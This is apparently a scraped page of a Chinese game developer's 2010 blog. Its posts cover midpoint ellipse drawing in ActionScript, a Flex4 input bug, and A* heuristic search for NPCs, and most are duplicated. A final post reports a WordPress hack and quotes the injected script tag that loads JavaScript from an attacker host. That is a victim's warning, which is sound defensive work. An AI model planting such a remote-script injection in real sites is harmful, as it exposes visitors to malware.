实际开发中求椭圆轨迹的场景不多，直接调用系统的绘制椭圆函数即可。但是游戏中NPC的轨迹可能千变万化，或者像我们最近要绘制一个挖空的椭圆，所以求任意椭圆的轨迹就要用到一些图形学的知识了。下面是一种高效、简单的成熟算法：
中点算法通常用来绘制椭圆。中心在原点，轴对齐的椭圆的非参数化表示为：
x2/a2 + y2/b2 = 1
通常我们定义f(x,y) = b2x2 + a2y2 -a2b2 = 0;
其中，a，b分别是半长轴和半短轴。其实，我们只用算出第一象限的轨迹，即可通过相应的对称变换算出其它的轨迹。通过平移变换即可求出不在原点的椭圆轨迹。当然，在第一象限时，椭圆是单调函数，利用这一点可以简化我们的计算：
椭圆上斜率为-1（dy/dx=-1）的点将椭圆分成了两个部分。当dy/dx<-1时，选取轨迹上的点的时候，dx的增量比较重要。我们做下述定义：当前像素点为S（x,y），下一个点的候选点可以是H（x-1，y），D（x-1，y+1），V（x，y+1）中的任何一个。
D V
H S
如果椭圆通过D和V中点的右边或上部，则选择V；如果通过其左边或下部，则选择D。当dy/dx>-1时, 如果椭圆通过D和V中点的右边或上部，则选择D；如果通过其左边或下部，则选择H。此时，最大线性误差是像素间距离的一半，即e=[-0.5,0.5]。
Van Aken给出了一个公式，并将决策变量di定义为f(x,y)在中点处的值的两倍。即在dy/dx<-1时为2*（x-0.5，y+1）,在dy/dx>-1时为2*（x-1, y+0.5):
d1 = 2*f(x-0.5，y+1) = b2(2x2-2x+0.5) + a2(2y2+4y+2)-2a2b2.如果椭圆通过中点，则d1=0.但是很可能椭圆要经过中点（x-0.5+e，y+1）的右边或者左边。因为这一点在椭圆上，所以f(x,y)=0.故将（x-0.5+e，y+1）带入f(x,y)，得：
f（x-0.5+e，y+1） = f（x-0.5，y+1）+ 2b2e(x-0.5) + b2e2 = 0；
将d/2 = f(x-0.5，y+1) 带入，得： d=-2b*b*e*|(2*x-1)-e|
由于0.5<=e<=0.5,d与e的符号相反，则满足x>（1-e）/2的条件为x>0.75。由于我们只计算整数坐标的轨迹，故该条件简化为x>0.因此，如果d<0,则e>0,V（x,y+1）点被选中。若d>0,e<0,则选择（x-1，y+1），若d=0，则选择对角线像素D。dy/dx>-1时的讨论与此类似。
我们还需要计算dy/dx=-1出所在的临界点。将其带入方程，得：
df(x,y) = d( b2x2 + a2y2 -a2b2 ) = 2b2xdx+2a2ydy=0;
即： dy/dx = - (b*b*x)/(a*a*y); 由于a，b，x,y均为正数，则切换条件为b*b*(x-0.5)<= a*a*(y+1).
代码如下，ActionScript的坐标系采用屏幕坐标系，第一象限为数学上的第四象限。对该算法我们可以通过增量计算d的新值，使得算法更加有效（参考：光栅扫描图形学，计算机图形学的算法基础）。
//计算第一象限，原点位置，a，b分别为半长、短轴的椭圆轨迹，放入eclipse:Vector.<Point>中
private static function buildEclipse(a:int, b:int, eclipse:Vector.<Point>):void
{
//初始化变量
var x:int = a + 0.5;
var y:int = 0;
//临时变量
var taa:int = a*a;
var t2aa:int = 2*taa;
var t4aa:int = 2 * t2aa;
var tbb:int = b * b;
var t2bb:int = 2 * tbb;
var t4bb:int = 2 * t2bb;
var t2abb:int = a * t2bb;
var t2bbx:int = t2bb * x;
var tx:int = x;
//初始化dy/dx<-1时的决策变量
var d1:Number = t2bbx*(x - 1) + tbb/2 + t2aa*(1-tbb);
//绘制dy/dx<-1时的轨迹
while(t2bb*tx > t2aa*y)
{
eclipse.push(new Point(x, y));
if(d1 < 0)
{
y++; //垂直方向
d1 = d1+t4aa*y + t2aa;
tx = x-1;
}
else
{
x--;
y++; //对角线方向
d1 = d1 - t4bb*x + t4aa*y + t2aa;
tx = x;
}
}
//初始化dy/dx>-1时的决策变量
var d2:Number = t2bb*(x*x+1) - t4bb*x + t2aa*(y*y+y-tbb) + taa/2;
while(x>=0)
{
eclipse.push(new Point(x,y));
if(d2 < 0)
{
x--;
y++;//对角线方向
d2 = d2 + t4aa*y - t4bb * x + t2bb;
}
else
{
x--;//水平方向
d2 = d2-t4bb*x + t2bb;
}
}
}
中点算法通常用来绘制椭圆。中心在原点，轴对齐的椭圆的非参数化表示为：
x2/a2 + y2/b2 = 1
通常我们定义f(x,y) = b2x2 + a2y2 -a2b2 = 0;
其中，a，b分别是半长轴和半短轴。其实，我们只用算出第一象限的轨迹，即可通过相应的对称变换算出其它的轨迹。通过平移变换即可求出不在原点的椭圆轨迹。当然，在第一象限时，椭圆是单调函数，利用这一点可以简化我们的计算：
椭圆上斜率为-1（dy/dx=-1）的点将椭圆分成了两个部分。当dy/dx<-1时，选取轨迹上的点的时候，dx的增量比较重要。我们做下述定义：当前像素点为S（x,y），下一个点的候选点可以是H（x-1，y），D（x-1，y+1），V（x，y+1）中的任何一个。
D V
H S
如果椭圆通过D和V中点的右边或上部，则选择V；如果通过其左边或下部，则选择D。当dy/dx>-1时, 如果椭圆通过D和V中点的右边或上部，则选择D；如果通过其左边或下部，则选择H。此时，最大线性误差是像素间距离的一半，即e=[-0.5,0.5]。
Van Aken给出了一个公式，并将决策变量di定义为f(x,y)在中点处的值的两倍。即在dy/dx<-1时为2*（x-0.5，y+1）,在dy/dx>-1时为2*（x-1, y+0.5):
d1 = 2*f(x-0.5，y+1) = b2(2x2-2x+0.5) + a2(2y2+4y+2)-2a2b2.如果椭圆通过中点，则d1=0.但是很可能椭圆要经过中点（x-0.5+e，y+1）的右边或者左边。因为这一点在椭圆上，所以f(x,y)=0.故将（x-0.5+e，y+1）带入f(x,y)，得：
f（x-0.5+e，y+1） = f（x-0.5，y+1）+ 2b2e(x-0.5) + b2e2 = 0；
将d/2 = f(x-0.5，y+1) 带入，得： d=-2b*b*e*|(2*x-1)-e|
由于0.5<=e<=0.5,d与e的符号相反，则满足x>（1-e）/2的条件为x>0.75。由于我们只计算整数坐标的轨迹，故该条件简化为x>0.因此，如果d<0,则e>0,V（x,y+1）点被选中。若d>0,e<0,则选择（x-1，y+1），若d=0，则选择对角线像素D。dy/dx>-1时的讨论与此类似。
我们还需要计算dy/dx=-1出所在的临界点。将其带入方程，得：
df(x,y) = d( b2x2 + a2y2 -a2b2 ) = 2b2xdx+2a2ydy=0;
即： dy/dx = - (b*b*x)/(a*a*y); 由于a，b，x,y均为正数，则切换条件为b*b*(x-0.5)<= a*a*(y+1).
代码如下，ActionScript的坐标系采用屏幕坐标系，第一象限为数学上的第四象限。对该算法我们可以通过增量计算d的新值，使得算法更加有效（参考：光栅扫描图形学，计算机图形学的算法基础）。
//计算第一象限，原点位置，a，b分别为半长、短轴的椭圆轨迹，放入eclipse:Vector.<Point>中
private static function buildEclipse(a:int, b:int, eclipse:Vector.<Point>):void
{
//初始化变量
var x:int = a + 0.5;
var y:int = 0;
//临时变量
var taa:int = a*a;
var t2aa:int = 2*taa;
var t4aa:int = 2 * t2aa;
var tbb:int = b * b;
var t2bb:int = 2 * tbb;
var t4bb:int = 2 * t2bb;
var t2abb:int = a * t2bb;
var t2bbx:int = t2bb * x;
var tx:int = x;
//初始化dy/dx<-1时的决策变量
var d1:Number = t2bbx*(x - 1) + tbb/2 + t2aa*(1-tbb);
//绘制dy/dx<-1时的轨迹
while(t2bb*tx > t2aa*y)
{
eclipse.push(new Point(x, y));
if(d1 < 0)
{
y++; //垂直方向
d1 = d1+t4aa*y + t2aa;
tx = x-1;
}
else
{
x--;
y++; //对角线方向
d1 = d1 - t4bb*x + t4aa*y + t2aa;
tx = x;
}
}
//初始化dy/dx>-1时的决策变量
var d2:Number = t2bb*(x*x+1) - t4bb*x + t2aa*(y*y+y-tbb) + taa/2;
while(x>=0)
{
eclipse.push(new Point(x,y));
if(d2 < 0)
{
x--;
y++;//对角线方向
d2 = d2 + t4aa*y - t4bb * x + t2bb;
}
else
{
x--;//水平方向
d2 = d2-t4bb*x + t2bb;
}
}
}
Aug
28
2010
Text：Flex4中Spark和MX包最好不要同时使用
15:21 , Qizhi
我使用Flex的主要原因和场合是快速的开发一些工具，比如素材管理、编辑；多语言文案的管理等。工欲善其事，必先利其器。我们的很多游戏在Facebook、Mixi等平台都有着百万级的日活跃用户，所以开发一些内部使用的工具是很有必要的。
Flex的好处在于所见即所得，拽几个组件，写几句脚本就能极大的简化工作流。只是最近使用的时候发现，涉及输入文本的几个组件，如TextInput一类的，最好不要同时也混着使用mx包下的一些旧组件，不然会导致无法输入中文的bug。
当然，设置IME.enabled=true是可以暂时解决问题，不过不是很优雅。
Flex的好处在于所见即所得，拽几个组件，写几句脚本就能极大的简化工作流。只是最近使用的时候发现，涉及输入文本的几个组件，如TextInput一类的，最好不要同时也混着使用mx包下的一些旧组件，不然会导致无法输入中文的bug。
当然，设置IME.enabled=true是可以暂时解决问题，不过不是很优雅。
Jul
31
2010
Blog所在IP被我朝和谐
16:46 , Qizhi
Jun
14
2010
游戏编程之启发式搜索
00:58 , Qizhi
我们在实际写代码的时候解决的问题千千万，万变不离其宗，这就是几种基本的思维方式，如分而治之、启发式搜索、统计学思想等。例如将复杂的问题化简、抽象为一个一个简单的问题，逐个解决。分而治之在游戏中的典型应用就是状态机，而解决一些较为复杂的AI问题（通常是解决状态空间的搜索问题），我们往往采用启发式搜索。百度百科的定义是：启发式搜索就是在状态空间中的搜索对每一个搜索的位置进行评估，得到最好的位置，再从这个位置进行搜索直到目标。这样可以省略大量无谓的搜索路径，提到了效率。在启发式搜索中，对位置的估价是十分重要的。采用了不同的估价可以有不同的效果。
问题一：NPC在地图上随机移动，如何使其较为逼真（不是随机跳来调去的类布朗运动）？
这是一个最简单的启发式搜索的应用了。具备一定智能的智能体（比如人类，驴，猪等）通常在无障碍的条件下，以一定概率，会优先选择前进，其次左右转弯，最次才是回首。此处我们对该NPC的各方向打分，正前方最高，侧向较低，后方最低。如此，每次要计算移动方向时，选择得分最高的方向移动即可。在这个问题中启发函数十分简单，正前方得分最高（实际代价）。
问题二：NPC在一张复杂的地图（有很多障碍物，沼泽、沙漠、道路等地形）中，寻找一条到达目标的最短路径，如何寻路？
这是较为复杂的一类问题，我们可以给出通解，即常见的A×算法（及其变种，见于各大AI论文，GDC演讲PPT中）。该算法的启发函数由两部分组成：估价=实际代价+预计代价。障碍物，沼泽、沙漠、道路等地形本身构成了实际代价，而到达目标的最短路径（勾股定理，或是最简单的到目标点的位移和[曼哈顿函数]）组成了预计代价，循环查找估计的最小值即可求解。讲解该算法的文档在网络上浩如烟海，但其核心思想仍然是打分，评估──启发式搜索。当然除了引导NPC，拿这个方法去让电脑自动写唐诗宋词，甚至是画画也可以(参考一种宋词自动生成的遗传算法及其机器实现).
问题三：NPC在一张地图中，存在敌方火力（有覆盖范围），己方周围有掩体（敌方火力打不到），如何选取作战策略？
这是启发式搜索施展拳脚的最佳场所。我们将敌人的火力覆盖范围打分，按火力大小标记为危险、最危险等，将掩体覆盖范围打分，标记为较为安全，非常安全。此时利用A×算法，实际代价的组成部分就是这些得分，而预计代价仍然安装路径评估。AI就不会傻傻的当炮灰，边朝敌人冲锋边开火，而是选择最佳策略，或是直接冲过去干掉敌人，或是先到掩体A，其次溜到掩体B，最后在距离敌人最近是干掉它。（参考GDC 2005，Killzone's AI: dynamic procedural combat tactics）.
很遗憾的是，AI虽然是我最感兴趣的方向，国内现在的游戏网游是霸主，国内没有重视AI的环境，平时也就想想，看看GDC历年的演讲而已。今天在电脑城转悠时突然发现，整座楼的经销商居然不卖盗版了──理由是现在的单机游戏都采用了DVD9格式，一张碟，便宜卖也就25到30块左右，换成刻录或盗版要5～6张DVD，这样赔本的买卖SB才干。当然楼外卖黄片的大叔阿姨们还是在神神叨叨的见人就问“要碟么？”
问题一：NPC在地图上随机移动，如何使其较为逼真（不是随机跳来调去的类布朗运动）？
这是一个最简单的启发式搜索的应用了。具备一定智能的智能体（比如人类，驴，猪等）通常在无障碍的条件下，以一定概率，会优先选择前进，其次左右转弯，最次才是回首。此处我们对该NPC的各方向打分，正前方最高，侧向较低，后方最低。如此，每次要计算移动方向时，选择得分最高的方向移动即可。在这个问题中启发函数十分简单，正前方得分最高（实际代价）。
问题二：NPC在一张复杂的地图（有很多障碍物，沼泽、沙漠、道路等地形）中，寻找一条到达目标的最短路径，如何寻路？
这是较为复杂的一类问题，我们可以给出通解，即常见的A×算法（及其变种，见于各大AI论文，GDC演讲PPT中）。该算法的启发函数由两部分组成：估价=实际代价+预计代价。障碍物，沼泽、沙漠、道路等地形本身构成了实际代价，而到达目标的最短路径（勾股定理，或是最简单的到目标点的位移和[曼哈顿函数]）组成了预计代价，循环查找估计的最小值即可求解。讲解该算法的文档在网络上浩如烟海，但其核心思想仍然是打分，评估──启发式搜索。当然除了引导NPC，拿这个方法去让电脑自动写唐诗宋词，甚至是画画也可以(参考一种宋词自动生成的遗传算法及其机器实现).
问题三：NPC在一张地图中，存在敌方火力（有覆盖范围），己方周围有掩体（敌方火力打不到），如何选取作战策略？
这是启发式搜索施展拳脚的最佳场所。我们将敌人的火力覆盖范围打分，按火力大小标记为危险、最危险等，将掩体覆盖范围打分，标记为较为安全，非常安全。此时利用A×算法，实际代价的组成部分就是这些得分，而预计代价仍然安装路径评估。AI就不会傻傻的当炮灰，边朝敌人冲锋边开火，而是选择最佳策略，或是直接冲过去干掉敌人，或是先到掩体A，其次溜到掩体B，最后在距离敌人最近是干掉它。（参考GDC 2005，Killzone's AI: dynamic procedural combat tactics）.
很遗憾的是，AI虽然是我最感兴趣的方向，国内现在的游戏网游是霸主，国内没有重视AI的环境，平时也就想想，看看GDC历年的演讲而已。今天在电脑城转悠时突然发现，整座楼的经销商居然不卖盗版了──理由是现在的单机游戏都采用了DVD9格式，一张碟，便宜卖也就25到30块左右，换成刻录或盗版要5～6张DVD，这样赔本的买卖SB才干。当然楼外卖黄片的大叔阿姨们还是在神神叨叨的见人就问“要碟么？”
May
24
2010
前几日我的Blog遭人挂马，所幸当日晚上就被发现然后被我清除，当时以为是Blog插件、主题有漏洞，一番检查后确定没有问题，但是原因未知。今天凌晨再次遭到挂马。Google后得知，这已经是针对GoDaddy、DreamHost等主机商某bug的第N轮入侵了WordPress用户大面积中招。第一次入侵发生在5月1日。
这次入侵典型的症状是所有PHP文件被植入一段Base64加密代码，导致网站各个页面下方挂有累死的恶意代码：
入侵者的高明之处在于，Base64加密代码（解密后是一段JS）在检测到来自搜索引擎的流量时，是不会执行的，这样就保证被挂马的网站不会被搜索引擎屏蔽，并不会有任何提示。有关该恶意脚本的详情可参考http://sucuri.net/malware/entry/MW:MROBH:1。
建议使用国外空间、并使用PHP的Blog立即检查是否被侵。
这次入侵典型的症状是所有PHP文件被植入一段Base64加密代码，导致网站各个页面下方挂有累死的恶意代码：
<script src="http://holasionweb.com/oo.php"></script>
入侵者的高明之处在于，Base64加密代码（解密后是一段JS）在检测到来自搜索引擎的流量时，是不会执行的，这样就保证被挂马的网站不会被搜索引擎屏蔽，并不会有任何提示。有关该恶意脚本的详情可参考http://sucuri.net/malware/entry/MW:MROBH:1。
建议使用国外空间、并使用PHP的Blog立即检查是否被侵。
May
13
2010
